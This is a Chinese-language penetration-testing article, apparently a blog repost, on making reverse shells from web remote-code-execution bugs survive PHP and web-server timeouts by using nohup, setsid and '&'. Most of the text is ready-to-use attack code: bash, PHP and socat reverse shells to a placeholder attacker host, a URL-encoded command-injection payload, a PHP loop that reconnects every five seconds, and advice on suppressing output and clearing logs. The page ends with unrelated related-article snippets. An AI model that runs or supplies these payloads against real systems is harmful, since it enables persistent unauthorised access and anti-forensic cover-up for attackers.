在We渗透过程中,我们常常会利用目标系统的远程代码执行(RCE)漏洞进行反弹Shell。然而,由于Web服务器(如PHP、Python后端)的执行环境通常存在超时限制(如max_execution_time或进程管理策略),反弹Shell进程可能在短时间内被终止,导致会话断连。为了解决这一问题,可以使用nohup&setsid等Linux命令来规避后端超时退出,确保会话的稳定性。本文将聚焦Web场景下的RCE,分析如何通过这些工具实现稳定的反弹Shell。


一、Web场景RCE与超时断连问题

1.1 Web场景RCE的特点

在Web场景下,RCE通常通过高危漏洞(如命令注入、文件上传、反序列化等)触发,攻击者通过Web请求在后端执行命令。例如,在PHP环境中,可能通过system()exec()等函数执行反弹Shell命令。常见的反弹Shell命令包括:

  • Bash反弹
    bash -i >& /dev/tcp/x.x.x.x/4444 0>&1
    
  • PHP反弹
    <?php
    exec("bash -i >& /dev/tcp/x.x.x.x/4444 0>&1");
    ?>
    

这些命令通过Web请求触发,但Web服务器通常会限制脚本的执行时间(例如PHP的max_execution_time默认为30秒),或者在请求结束后终止进程,导致反弹Shell无法持久运行。

1.2 超时断连的原因

  1. Web服务器超时设置:如PHP的max_execution_time或Nginx/Apache的请求超时配置。
  2. 进程依赖:反弹Shell进程依赖于Web请求的进程,请求结束后进程被终止。
  3. 会话管理:目标系统的会话管理策略可能主动清理非活跃进程。
  4. 网络限制:防火墙或网络策略可能中断长时间未活动的连接。

为应对这些问题,我们可以让反弹Shell进程脱离Web请求的控制,保持长期运行。


二、使用nohup&setsid规避断连

以下分别介绍这三种工具在Web场景RCE中的应用,以及如何结合使用以实现稳定的反弹Shell。

2.1 使用nohup防止进程挂起

2.1.1 原理

nohup(no hangup)命令通过忽略挂起信号(SIGHUP),使进程在终端或父进程(如Web请求进程)退出后继续运行。在Web场景RCE中,nohup可以让反弹Shell进程脱离Web服务器的请求生命周期。

2.1.2 实现方法

假设攻击者在目标Web服务器上通过RCE执行命令,可以使用以下方式:

nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &
  • nohup:确保进程忽略SIGHUP信号,不因Web请求结束而终止。
  • bash -c:执行反弹Shell命令。
  • &:将进程放入后台运行,避免阻塞Web请求。

在PHP场景下,可以通过exec()触发:

<?php
exec("nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>

执行后,Web请求即使因超时结束,反弹Shell进程仍会在后台运行,保持与攻击者监听端口的连接。

2.1.3 注意事项
  • 输出重定向nohup默认将输出写入nohup.out文件,可能暴露痕迹。建议重定向到/dev/null
    nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
    
  • 权限问题:确保Web服务器用户(如www-data)有执行nohupbash的权限。
  • 适用性nohup适用于大多数Linux系统,但部分精简环境可能缺失。

2.2 使用&实现后台运行

2.2.1 原理

在Linux中,&符号将命令放入后台运行,使其不阻塞当前进程。在Web场景中,结合&可以让反弹Shell进程独立于Web请求,避免因请求超时而终止。

2.2.2 实现方法

直接在命令后添加&

bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &

在PHP中:

<?php
exec("bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>
2.2.3 注意事项
  • 局限性:单独使用&无法完全脱离父进程,Web服务器进程退出时,反弹Shell可能仍被终止。
  • 建议&通常与nohupsetsid结合使用,以增强稳定性:
    nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
    

2.3 使用setsid实现进程完全独立

2.3.1 原理

setsid命令创建一个新的会话(session),使进程成为新会话的领导者,脱离原有的控制终端和父进程(如Web服务器进程)。这在Web场景RCE中特别有效,可彻底解决因Web请求终止导致的进程退出问题。

2.3.2 实现方法

命令示例:

setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &

在PHP中:

<?php
exec("setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>
2.3.3 注意事项
  • 输出处理:与nohup类似,建议重定向输出以减少痕迹:
    setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
    
  • 环境依赖:部分精简系统可能未安装setsid,需确认目标环境支持。
  • 交互性:若需要更高交互性,可结合socat创建伪终端:
    setsid socat tcp-connect:x.x.x.x:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane &
    

2.4 综合使用nohup&setsid

为最大化反弹Shell的稳定性,建议结合三者使用:

nohup setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &

在PHP中:

<?php
exec("nohup setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &");
?>
  • nohup:忽略SIGHUP信号,防止进程因Web请求结束而终止。
  • setsid:创建新会话,脱离Web服务器进程的控制。
  • &:确保进程后台运行。
  • >/dev/null 2>&1:重定向输出,减少痕迹。

三、实战场景与优化

3.1 典型Web场景应用

假设目标是一个运行PHP的Web服务器,存在命令注入漏洞,攻击者通过以下URL触发RCE:

http://target.com/vuln.php?cmd=[command]

攻击者可以在cmd参数中传入以下命令:

nohup%20setsid%20bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/x.x.x.x/4444%200%3E%261'%20%3E/dev/null%202%3E%261%20%26
  • URL编码确保命令正确传递。
  • 攻击者在本地监听端口(如nc -lvnp 4444),即可接收反弹Shell。

3.2 优化建议

  1. 减少痕迹

    • 始终重定向输出到/dev/null,避免生成nohup.out等文件。
    • 检查目标系统日志(如/var/log),清理可能的执行记录。
  2. 提高交互性

    • 如果目标支持socat,优先使用带伪终端的反弹Shell:
      nohup setsid socat tcp-connect:x.x.x.x:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane >/dev/null 2>&1 &
      
  3. 应对网络中断

    • 在目标系统支持的情况下,添加简单的重连脚本。例如,使用PHP编写:
      <?php
      while (true) {exec("bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &");sleep(5);
      }
      ?>
      
    • 此脚本每5秒尝试重连,适合网络不稳定场景。
  4. 权限检查

    • 确认Web服务器用户(如www-data)是否有执行nohupsetsid等命令的权限。
    • 如果权限受限,可尝试其他方法(如Python脚本)。

四、优缺点总结

工具/方法优点缺点
nohup简单易用,内置于大多数Linux系统,防止SIGHUP终止输出默认写入nohup.out,需手动重定向
&简单,直接实现后台运行无法完全脱离父进程,稳定性较低
setsid创建新会话,完全独立于父进程部分系统可能未安装,需确认环境
综合使用结合三者,稳定性最高命令较复杂,需确保环境支持

五、结论

在Web场景RCE中,反弹Shell的超时断连问题可以通过nohup&setsid有效规避。nohup防止进程因SIGHUP终止,&实现后台运行,setsid使进程完全独立于Web请求进程。综合使用这三者,并结合输出重定向和伪终端支持(如socat),可以显著提高反弹Shell的稳定性。在实战中,攻击者需根据目标环境灵活选择方案,并注意减少痕迹、提高隐蔽性。

通过上述方法,渗透测试人员能够在Web场景下实现持久、稳定的反弹Shell,为后续内网渗透、权限维持等操作奠定基础。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/93909.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/93909.shtml
英文地址,请注明出处:http://en.pswp.cn/web/93909.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java设计模式-模板方法模式

Java设计模式-模板方法模式 模式概述 模板方法模式简介 核心思想&#xff1a;定义一个操作中的算法骨架&#xff08;模板方法&#xff09;&#xff0c;将算法中某些步骤的具体实现延迟到子类中完成。子类可以在不改变算法整体结构的前提下&#xff0c;重定义这些步骤的行为&…

Centos7物理安装 Redis8.2.0

Centos7物理安装 Redis8.2.0一、准备依赖环境首先安装编译 Redis 所需的依赖&#xff1a;# CentOS/RHEL系统 yum install -y gcc gcc-c make wget 二、下载并编译 Redis 8.2.0# 1. 下载Redis 8.2.0源码包 wget https://download.redis.io/releases/redis-8.2.0.tar.gz# 2. 解压…

牛津大学xDeepMind 自然语言处理(3)

条件语言模型无条件语言模型 概率计算&#xff1a;通过链式法则分解为预测下一词概率&#xff08;将语言建模问题简化为建模给定前面词语历史的下一个词的概率&#xff09;基于循环神经网络的无条件语言模型&#xff1a;根据历史词语预测下一个词的概率条件语言模型 定义&#…

Vue2.x核心技术与实战(一)

目录 一、Vue2.x:快速上手+插值表达式+指令上 1.1 Vue快速上手 1.1.1 Vue概念 1.1.2 创建实例 1.1.3 插值表达式 { { }} 1.1.4 响应式特性 1.1.5 开发者工具 1.2 Vue指令 1.2.1 v-html 1.2.3 v-show / v-if v-show v-if 1.2.4 v-else / v-else-if 1.2.5 v-on v…

SCAU学习笔记 - 自科三面前端方向实战演示

本来是准备写完二面直接开始写算法三面的&#xff0c;maimai那个封面图我都做好了。但是可恶的出题人说要等我出完解析再针对性避开出题&#xff0c;所以swan决定把那个先搁置&#xff0c;本文我们先以2023年的自科三面前端方向题为例带各位快速入门前端三件套&#xff08;因为…

前后端联合实现文件上传,实现 SQL Server image 类型文件上传

1、前端 Vue3QualityFileInfoDialog.vue<script setup lang"ts" name"QualityFile"> ...... // 上传&#xff0c;防抖 const onUploadClick debounce(() > {// 模拟点击元素if (fileInputRef.value) {// 重置以允许重复选择相同文件fileInputRef…

使用安卓平板,通过USB数据线(而不是Wi-Fi)来控制电脑(版本1)

这是一个对延迟和稳定性要求很高的场景。 核心原理是&#xff1a;利用USB数据线&#xff0c;在手机和电脑之间创建一个高速的“虚拟网络连接”&#xff0c;然后在这个稳定的网络通道上运行远程控制软件。 方案1&#xff1a; 在完全没有无线网络&#xff08;Wi-Fi&#xff09;和…

linux报permission denied问题

linux报permission denied问题 一般是没有可执行权限&#xff0c;需要先添加执行权限 1. 确认文件权限 在你的项目目录下执行&#xff1a; ls -l ./folder你可能会看到类似&#xff1a; -rw-r--r-- 1 user user 1234 Aug 18 12:00 script.sh注意&#xff1a;这里缺少 x&#xf…

Vue深入组件:组件事件详解2

声明触发的事件 为了让组件的用法更清晰(作为文档),同时让 Vue 能区分事件与透传 attribute,推荐显式声明组件要触发的事件。根据组件是否使用 <script setup>,声明方式有所不同。 使用 <script setup> 时:defineEmits() 宏 在 <script setup> 中,…

FLASK项目快速构建

Flask 项目构建 exts.py # flask_sqlalchemy from flask_sqlalchemy import SQLAlchemy from flask_mail import Mail from flask_caching import Cache from flask_wtf import CSRFProtect from flask_avatars import Avatars from flask_jwt_extended import JWTManager from…

数据结构--2:ArrayList与顺序表

1.顺序表的创建 2.常见操作 3.遍历 4.扩容机制 5.例子1.顺序表的创建在集合框架中&#xff0c;ArrayList是⼀个普通的类&#xff0c;实现了List接口&#xff0c;具体框架图如下&#xff1a;2.常见操作代码…

【Kubesphere】K8s容器无法访问内网xx网络问题

问题遇到的现象和发生背景 Kubesphere中运行的一个容器&#xff0c;可以ping通我们公司内网网段172.16.XX.XX&#xff0c;但是在容器内无法ping通192.168.5.XX&#xff0c;但是我在宿主机是可以ping通192.168.5.XX&#xff0c;这个192.168.5.XX是通过xx设备接进来的&#xff0c…

【开发语言】Groovy语言:Java生态中的动态力量

博客目录一、Groovy 的诞生与发展二、核心特性深度解析1. 与 Java 的无缝集成2. 动态类型与可选静态类型3. 强大的集合操作三、Groovy 在实际开发中的应用场景1. 构建自动化&#xff08;Gradle&#xff09;2. 测试开发&#xff08;Spock 框架&#xff09;3. 脚本任务自动化四、…

Obsidian 1.9.10升级

概述 Obsidian发布了更新版本1.9.10&#xff0c;是一次比较大的升级&#xff0c;尤其是增加了一些以前没有的核心插件&#xff0c;尤其是重磅的数据库功能。虽然可能还是比较初期&#xff0c;但是这意味着OB还是往更好的方向进化了。 本文以一些目前的视频教程加自己的实际上手…

内容审计技术

一、 内容审计需求背景1.网络安全法要求明确责任人&#xff1a;制定内部安全管理制度和操作规程&#xff0c;落实安全保护责任。监测、记录并保留日志&#xff1a;采取监测、记录网络运行状态、网络安全事件的技术措施&#xff0c;并按照规定留存相关网络日志不少于六个月。采取…

反序列化漏洞

php反序列化 1.什么是序列化和反序列化 office word是程序 doc/docx是数据 保存word文件&#xff1a;程序--保存(序列化)-->数据文件 打开word文件&#xff1a;程序--加载数据文件-->还原(反序列化) 游戏存档&#xff1a;角色等级&#xff0c;任务&#xff0c;人物坐…

Lecture 4 Mixture of experts课程笔记

什么是MoE?用&#xff08;多个&#xff09;大型前馈网络和一个选择器层取代大型前馈网络。你可以在不影响浮点运算次数的情况下增加专家数量。 MoE受欢迎的原因 相同的浮点运算次数&#xff0c;更多的参数表现更好训练混合专家模型&#xff08;MoEs&#xff09;速度更快训练混…

微服务架构的演进:从 Spring Cloud Netflix 到云原生新生态

过去十年,Spring Cloud 凭借 Netflix 全家桶(Eureka、Ribbon、Hystrix、Zuul 等)几乎成为 Java 微服务的事实标准。但随着这些核心组件逐步停止更新或进入维护模式,微服务架构正经历一场深刻的演进。新的微服务架构更加注重 云原生兼容性、社区活跃度、企业级稳定性和低运维…

网络流量分析——基础知识

文章目录所需技能和知识TCP/IP 堆栈和 OSI 模型基本网络概念常用端口和协议IP 数据包和子层的概念协议传输封装环境与设备常见的流量分析工具BPF 语法执行网络流量分析NTA工作流程NTA工作流程网络 - 第 1-4 层OSI / TCP-IP 模型寻址机制MAC地址IP 寻址IPv4IPv6IPv6 寻址类型IPv…

ansible playbook 实战案例roles | 实现基于 IHS 的 AWStats 访问监控系统

文章目录一、核心功能描述二、roles内容2.1 文件结构2.2 主配置文件2.3 tasks文件内容三、files文件内容四、关键价值免费个人运维知识库&#xff0c;欢迎您的订阅&#xff1a;literator_ray.flowus.cn 一、核心功能描述 这个 Ansible Role 的核心功能是&#xff1a;​实现 ​…